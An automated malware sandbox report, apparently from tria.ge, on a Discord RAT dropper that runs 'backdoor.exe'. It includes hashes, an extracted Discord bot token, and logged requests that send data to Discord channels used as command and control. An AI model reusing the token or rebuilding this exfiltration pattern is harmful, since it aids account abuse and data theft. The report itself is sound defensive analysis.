Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

celexcudeapito.exe

windows10-2004-x64

Resubmissions

19/10/2024, 04:22 UTC

241019-ezkjrsxapd 10

19/10/2024, 04:20 UTC

241019-eydd3axajc 10

Analysis

  • max time kernel
    71s
  • max time network
    72s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/10/2024, 04:20 UTC

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    celexcudeapito.exe

  • Size

    1.8MB

  • MD5

    7a83c409d62508be138dc3f34388a9b9

  • SHA1

    aa25aa410bebe70ebc198724ee6fcdb136c5b1c3

  • SHA256

    c4bca7bc159f3acc7aa640e0e0e4af9628589ee3f883b599130fa7106084e890

  • SHA512

    f0847f85eaff1134a9c0f7449d29cce42a36cfded599b6e16ee82188185da97451d3f2e6fe06ce9cf04a970fe980db5d039c27f972c7b45f26e726a74c092fe8

  • SSDEEP

    49152:ADjlabwz9qwXGH9WlwRkRIVI9w9S0RhFLTqKr:Aqw9MN9VIb6Lr

Score
10/10
discordratpersistenceratrootkitstealer

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTI5NjYzNTE3NjA0MTk3NTgxOA.Gk_FFl.rzX6LBdObHooYXuBei4jkvA7oRi8ecnVq0nMZE

  • server_id

    1297012772168667258

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

    stealerrootkitratpersistencediscordrat
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\celexcudeapito.exe
    "C:\Users\Admin\AppData\Local\Temp\celexcudeapito.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4032
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\vai se fuder roblox.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\vai se fuder roblox.exe"
      2⤵
      • Executes dropped EXE
      PID:4568
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\backdoor.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\backdoor.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3972

Network

  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    97.17.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    97.17.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    75.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    75.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    75.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    75.159.190.20.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    gateway.discord.gg
    backdoor.exe
    Remote address:
    8.8.8.8:53
    Request
    gateway.discord.gg
    IN A
    Response
    gateway.discord.gg
    IN A
    162.159.135.234
    gateway.discord.gg
    IN A
    162.159.133.234
    gateway.discord.gg
    IN A
    162.159.136.234
    gateway.discord.gg
    IN A
    162.159.130.234
    gateway.discord.gg
    IN A
    162.159.134.234
  • flag-us
    GET
    https://gateway.discord.gg/?v=9&encording=json
    backdoor.exe
    Remote address:
    162.159.135.234:443
    Request
    GET /?v=9&encording=json HTTP/1.1
    Connection: Upgrade,Keep-Alive
    Upgrade: websocket
    Sec-WebSocket-Key: WAqdLX/JY1BNQLR2gLQV4A==
    Sec-WebSocket-Version: 13
    Host: gateway.discord.gg
    Response
    HTTP/1.1 101 Switching Protocols
    Date: Sat, 19 Oct 2024 04:20:53 GMT
    Connection: upgrade
    sec-websocket-accept: Txp8tHqJxGBqXXQqkL9MjOMa6mE=
    upgrade: websocket
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RnuV9c18dMUe4f2Y9yLtQeMJPw7tONJr6OzneJ7Laz59e%2BksOuKH4f8fi%2FXF%2BJTUeT%2F0QTJrcuKHXctLEu%2FH27i40y1JCybViPOmPPydQc%2FlKuV5eiwEvZli35um74%2FA3Ro4Mw%3D%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    X-Content-Type-Options: nosniff
    Server: cloudflare
    CF-RAY: 8d4dfa6a499093da-LHR
  • flag-us
    DNS
    234.135.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    234.135.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    discord.com
    backdoor.exe
    Remote address:
    8.8.8.8:53
    Request
    discord.com
    IN A
    Response
    discord.com
    IN A
    162.159.135.232
    discord.com
    IN A
    162.159.137.232
    discord.com
    IN A
    162.159.138.232
    discord.com
    IN A
    162.159.136.232
    discord.com
    IN A
    162.159.128.233
  • flag-us
    POST
    https://discord.com/api/v9/guilds/1297012772168667258/channels
    backdoor.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/guilds/1297012772168667258/channels HTTP/1.1
    authorization: Bot MTI5NjYzNTE3NjA0MTk3NTgxOA.Gk_FFl.rzX6LBdObHooYXuBei4jkvA7oRi8ecnVq0nMZE
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 29
    Expect: 100-continue
    Connection: Keep-Alive
    Response
    HTTP/1.1 201 Created
    Date: Sat, 19 Oct 2024 04:20:54 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: __dcfduid=884c14128dd111ef8d48c6f7545d4656; Expires=Thu, 18-Oct-2029 04:20:54 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: be56019ae011689ff5baf218062aacf5
    x-ratelimit-limit: 2000
    x-ratelimit-remaining: 1994
    x-ratelimit-reset: 1729397811.618
    x-ratelimit-reset-after: 86157.061
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BplYqybrvzPuFTtC4L169e4yNXQj9gfMEGrdroqm2932CwUO1wzBkZN4kH%2BTp14fjUWbW%2Bm6%2B0Sfa3ZE8w4AHwm4y0TSAHEwhFxraCejHBvT1%2FPj0MbgKoDswd57"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=884c14128dd111ef8d48c6f7545d46569d13b95e6ee53fdd89355acd8385b596560e83dc1758e1d58a5795359260134b; Expires=Thu, 18-Oct-2029 04:20:54 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=c15afb7a61dc9df5e5c8459463b4b0b1bd881166-1729311654; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=TMm8gAm_oBNbWPV8X6xhieUdFj8zbCJslHE5V3vOAM0-1729311654659-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8d4dfa704ee87196-LHR
  • flag-us
    DNS
    geolocation-db.com
    backdoor.exe
    Remote address:
    8.8.8.8:53
    Request
    geolocation-db.com
    IN A
    Response
    geolocation-db.com
    IN A
    159.89.102.253
  • flag-de
    GET
    https://geolocation-db.com/json
    backdoor.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json HTTP/1.1
    Host: geolocation-db.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 04:20:54 GMT
    Content-Type: text/html
    Content-Length: 194
    Location: https://geolocation-db.com/json/
    Connection: keep-alive
  • flag-de
    GET
    https://geolocation-db.com/json/
    backdoor.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json/ HTTP/1.1
    Host: geolocation-db.com
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sat, 19 Oct 2024 04:20:55 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Access-Control-Allow-Origin: *
  • flag-us
    POST
    https://discord.com/api/v9/channels/1297051831020687360/messages
    backdoor.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1297051831020687360/messages HTTP/1.1
    authorization: Bot MTI5NjYzNTE3NjA0MTk3NTgxOA.Gk_FFl.rzX6LBdObHooYXuBei4jkvA7oRi8ecnVq0nMZE
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 115
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 19 Oct 2024 04:20:55 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: __dcfduid=88baf77e8dd111efbf3146a99150ed30; Expires=Thu, 18-Oct-2029 04:20:55 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1729311656.266
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pDPa3pwgbT0oUDW9ojOwUtld5WgUqFUKlH%2Bnx0TaqaR6OiNDvq1ty8JpkQOFJy56CDWuDoDSt7g9Vbf5%2FeP1ZmdFCjl%2FRbghgABZRfKd%2FceN8wLg7yGQ%2BA9JLCNq"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=88baf77e8dd111efbf3146a99150ed30f81ac0b6bd03874d67a0a8723209b38b5581948f4cc5cbfaf176c571b4c16507; Expires=Thu, 18-Oct-2029 04:20:55 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=f7943d8e4bd2cdb5918b9624b790f12610ac5318-1729311655; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=2NxcBq9QtG_YYybAp66y7TZ4DbSb2r2iR9xEn.7Pmmg-1729311655386-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8d4dfa749af063fd-LHR
  • flag-us
    DNS
    232.135.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.135.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    253.102.89.159.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    253.102.89.159.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    58.55.71.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    58.55.71.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    https://discord.com/api/v9/channels/1297051831020687360/messages
    backdoor.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1297051831020687360/messages HTTP/1.1
    authorization: Bot MTI5NjYzNTE3NjA0MTk3NTgxOA.Gk_FFl.rzX6LBdObHooYXuBei4jkvA7oRi8ecnVq0nMZE
    Content-Type: multipart/form-data; boundary="8d272cb4-51f9-43da-a546-9e0ef49e16fd"
    Host: discord.com
    Content-Length: 432180
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 19 Oct 2024 04:21:00 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: __dcfduid=8c0f3d7c8dd111ef8212e2038217e538; Expires=Thu, 18-Oct-2029 04:21:00 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1729311661.715
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S0B9uLZof5QeetFZvLVWORfoXooQavQ2bxzqPwLzuJEIdlMOO%2BxFHiUvCv%2BtA8b6NlEIOtjilocTov5X2Ve2SZtLejHwVXvabrR98TKCDO2dzYiqnhwLijbkRp33"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=8c0f3d7c8dd111ef8212e2038217e538bf4b465d455bef0ef60ed2eff6c2f40ffff2ca6bf034ccfe0ff3d56adeb944ce; Expires=Thu, 18-Oct-2029 04:21:00 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=6be2fb0370d36a888da1d811831f4c447a267b58-1729311660; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=VoRIyOMI4Qo5fYMiWhL9kLfF1_CbxWw8T3vVwkm8GrQ-1729311660970-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8d4dfa951a00940f-LHR
  • flag-us
    POST
    https://discord.com/api/v9/channels/1297051831020687360/messages
    backdoor.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1297051831020687360/messages HTTP/1.1
    authorization: Bot MTI5NjYzNTE3NjA0MTk3NTgxOA.Gk_FFl.rzX6LBdObHooYXuBei4jkvA7oRi8ecnVq0nMZE
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 31
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 19 Oct 2024 04:21:01 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: __dcfduid=8c46a8528dd111efa3a30ab8c88ad70f; Expires=Thu, 18-Oct-2029 04:21:01 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 3
    x-ratelimit-reset: 1729311662.712
    x-ratelimit-reset-after: 1.464
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0rsW3lr82jR4oaOaYzSl3JBaEYK%2BCdJ5dCZiYJPPlHUcN%2BHO7t4pIStZMdDgTNkW5g7Yp8tKxVnS8Xk0zEycTSG3KJ6B9EcPbosy6ARzOQGGVfai%2FcHEouQVjOop"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=8c46a8528dd111efa3a30ab8c88ad70fe0d3f45c24607fd064cf54b4747e38b6b9dbb5c3b48af4175e1c294a75120452; Expires=Thu, 18-Oct-2029 04:21:01 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=5c7682251b1121811590d753faf169bf0f7408c3-1729311661; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=3lHjDsZ_bNy1ZX.51bL87JwJImxXHTx06dlOl.wut1s-1729311661335-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8d4dfa9a09fe9431-LHR
  • flag-us
    DNS
    56.163.245.4.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    56.163.245.4.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    171.39.242.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    171.39.242.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    https://discord.com/api/v9/channels/1297051831020687360/messages
    backdoor.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1297051831020687360/messages HTTP/1.1
    authorization: Bot MTI5NjYzNTE3NjA0MTk3NTgxOA.Gk_FFl.rzX6LBdObHooYXuBei4jkvA7oRi8ecnVq0nMZE
    Content-Type: multipart/form-data; boundary="614512f3-5ff5-467a-83b3-5443ea14ec02"
    Host: discord.com
    Content-Length: 3557
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 19 Oct 2024 04:21:23 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: __dcfduid=99367c5e8dd111ef9f9f02cefddb5492; Expires=Thu, 18-Oct-2029 04:21:22 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1729311683.875
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dEf%2Fjgnrtbz%2FTGRsn4jum7uyAYzRimfbdJae7JtKAj4a6El%2FExujy94uV9mlEK2aSpdScBpbeyovtsdaseZxRlFHs5e2sYDUmKiN2Qq9z2wjV%2BkhAo%2F9K6GTNy8P"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=99367c5e8dd111ef9f9f02cefddb5492a30e24bac32f5d54c051999d28484807ffabe661fc4f5bc537060b9beba029d6; Expires=Thu, 18-Oct-2029 04:21:22 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=aa8750b56dc4900ee805c2ce71971b58afd0aa18-1729311683; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=r9orvjI3ow.VsuBRn8_o6R.4ChK0Mj4_XgVUyYknf08-1729311683039-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8d4dfb210f7379bb-LHR
  • flag-us
    POST
    https://discord.com/api/v9/channels/1297051831020687360/messages
    backdoor.exe
    Remote address:
    162.159.135.232:443
    Request
    POST /api/v9/channels/1297051831020687360/messages HTTP/1.1
    authorization: Bot MTI5NjYzNTE3NjA0MTk3NTgxOA.Gk_FFl.rzX6LBdObHooYXuBei4jkvA7oRi8ecnVq0nMZE
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 31
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sat, 19 Oct 2024 04:21:23 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: __dcfduid=996ff8f88dd111ef869a029e82fea59b; Expires=Thu, 18-Oct-2029 04:21:23 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 3
    x-ratelimit-reset: 1729311684.877
    x-ratelimit-reset-after: 1.579
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wXvjcZVleNXQtPqF0EYb8LrnLSrKrSSGTrbI%2BCYaah%2FtUMkuWUbInIrx8%2FyCX%2FPIaNcwcUsEOg%2FRCTsMiwbOpLUmE8lhZsoQEVQTiD%2FMsmi7PPS77qDtY8n%2Fult6"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=996ff8f88dd111ef869a029e82fea59b3079e8d177474994ebda1a7584879be7f175e2c08c872d0de036e22cc48f0e1b; Expires=Thu, 18-Oct-2029 04:21:23 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=aa8750b56dc4900ee805c2ce71971b58afd0aa18-1729311683; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=dFfetDj0I9H82DmxbATJ7RMWepSZwkba5qL7Gkmbafc-1729311683415-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8d4dfb23c95f9401-LHR
  • 162.159.135.234:443
    https://gateway.discord.gg/?v=9&encording=json
    tls, http
    backdoor.exe
    2.8kB
     40.7kB
     40
    52

    HTTP Request

    GET https://gateway.discord.gg/?v=9&encording=json

    HTTP Response

    101
  • 162.159.135.232:443
    https://discord.com/api/v9/guilds/1297012772168667258/channels
    tls, http
    backdoor.exe
    1.1kB
     5.6kB
     11
    13

    HTTP Request

    POST https://discord.com/api/v9/guilds/1297012772168667258/channels

    HTTP Response

    201
  • 159.89.102.253:443
    https://geolocation-db.com/json/
    tls, http
    backdoor.exe
    848 B
     4.5kB
     9
    10

    HTTP Request

    GET https://geolocation-db.com/json

    HTTP Response

    301

    HTTP Request

    GET https://geolocation-db.com/json/

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1297051831020687360/messages
    tls, http
    backdoor.exe
    1.3kB
     3.0kB
     9
    10

    HTTP Request

    POST https://discord.com/api/v9/channels/1297051831020687360/messages

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1297051831020687360/messages
    tls, http
    backdoor.exe
    454.1kB
     15.0kB
     337
    287

    HTTP Request

    POST https://discord.com/api/v9/channels/1297051831020687360/messages

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1297051831020687360/messages
    tls, http
    backdoor.exe
    1.2kB
     2.8kB
     9
    9

    HTTP Request

    POST https://discord.com/api/v9/channels/1297051831020687360/messages

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1297051831020687360/messages
    tls, http
    backdoor.exe
    5.0kB
     3.4kB
     13
    12

    HTTP Request

    POST https://discord.com/api/v9/channels/1297051831020687360/messages

    HTTP Response

    200
  • 162.159.135.232:443
    https://discord.com/api/v9/channels/1297051831020687360/messages
    tls, http
    backdoor.exe
    1.2kB
     2.9kB
     9
    11

    HTTP Request

    POST https://discord.com/api/v9/channels/1297051831020687360/messages

    HTTP Response

    200
  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
     90 B
     1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    97.17.167.52.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    97.17.167.52.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    75.159.190.20.in-addr.arpa
    dns
    144 B
     158 B
     2
    1

    DNS Request

    75.159.190.20.in-addr.arpa

    DNS Request

    75.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    146 B
     144 B
     2
    1

    DNS Request

    95.221.229.192.in-addr.arpa

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    gateway.discord.gg
    dns
    backdoor.exe
    64 B
     144 B
     1
    1

    DNS Request

    gateway.discord.gg

    DNS Response

    162.159.135.234
    162.159.133.234
    162.159.136.234
    162.159.130.234
    162.159.134.234

  • 8.8.8.8:53
    234.135.159.162.in-addr.arpa
    dns
    74 B
     136 B
     1
    1

    DNS Request

    234.135.159.162.in-addr.arpa

  • 8.8.8.8:53
    discord.com
    dns
    backdoor.exe
    57 B
     137 B
     1
    1

    DNS Request

    discord.com

    DNS Response

    162.159.135.232
    162.159.137.232
    162.159.138.232
    162.159.136.232
    162.159.128.233

  • 8.8.8.8:53
    geolocation-db.com
    dns
    backdoor.exe
    64 B
     80 B
     1
    1

    DNS Request

    geolocation-db.com

    DNS Response

    159.89.102.253

  • 8.8.8.8:53
    232.135.159.162.in-addr.arpa
    dns
    74 B
     136 B
     1
    1

    DNS Request

    232.135.159.162.in-addr.arpa

  • 8.8.8.8:53
    253.102.89.159.in-addr.arpa
    dns
    73 B
     140 B
     1
    1

    DNS Request

    253.102.89.159.in-addr.arpa

  • 8.8.8.8:53
    58.55.71.13.in-addr.arpa
    dns
    70 B
     144 B
     1
    1

    DNS Request

    58.55.71.13.in-addr.arpa

  • 8.8.8.8:53
    56.163.245.4.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    56.163.245.4.in-addr.arpa

  • 8.8.8.8:53
    171.39.242.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    171.39.242.20.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\backdoor.exe
    Filesize

    78KB

    MD5

    f7615a8c2c53d5df88f53c7ca1f970cd

    SHA1

    85ca41cc160bf72b8e0aac6130fe386b0c72ed94

    SHA256

    104b5e98f3360cf01eca20384c828ff07ca8256191dbf2331919c49614a22fab

    SHA512

    be36994146def7d9af634bacb931bbdabf0f63f6f963f0a935719aa924104381e65bc374d71314af90ca5a7126eb1e80a7d90eb5954f5e1ba47fee9e2fabe9ee

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\vai se fuder roblox.exe
    Filesize

    2.2MB

    MD5

    f16cf9f4ca1b3c6d78525a6b6decd80f

    SHA1

    29eaff2fd438c415931aae1b6846d195debade9b

    SHA256

    0b8fe49d12a5077d652ea5ce99e6db3ac6239c1ac4df6888c45d3c5e0c32895a

    SHA512

    034a003180fdafbd8304c28b8f465bd44218190c35a6e18a510df52a2bae25e16dc8e26945429fa2a9ccc1ca401f17cbcaa418b5339e6ddad921d46a9832c87d

    Download Submit

  • memory/3972-21-0x00007FFD8BC43000-0x00007FFD8BC45000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3972-22-0x0000021F91E70000-0x0000021F91E88000-memory.dmp

    Filesize

    96KB

    Download

  • memory/3972-23-0x0000021FAC520000-0x0000021FAC6E2000-memory.dmp

    Filesize

    1.8MB

    Download

  • memory/3972-24-0x00007FFD8BC40000-0x00007FFD8C701000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3972-25-0x0000021FAD5D0000-0x0000021FADAF8000-memory.dmp

    Filesize

    5.2MB

    Download

  • memory/3972-26-0x00007FFD8BC43000-0x00007FFD8BC45000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3972-27-0x00007FFD8BC40000-0x00007FFD8C701000-memory.dmp

    Filesize

    10.8MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.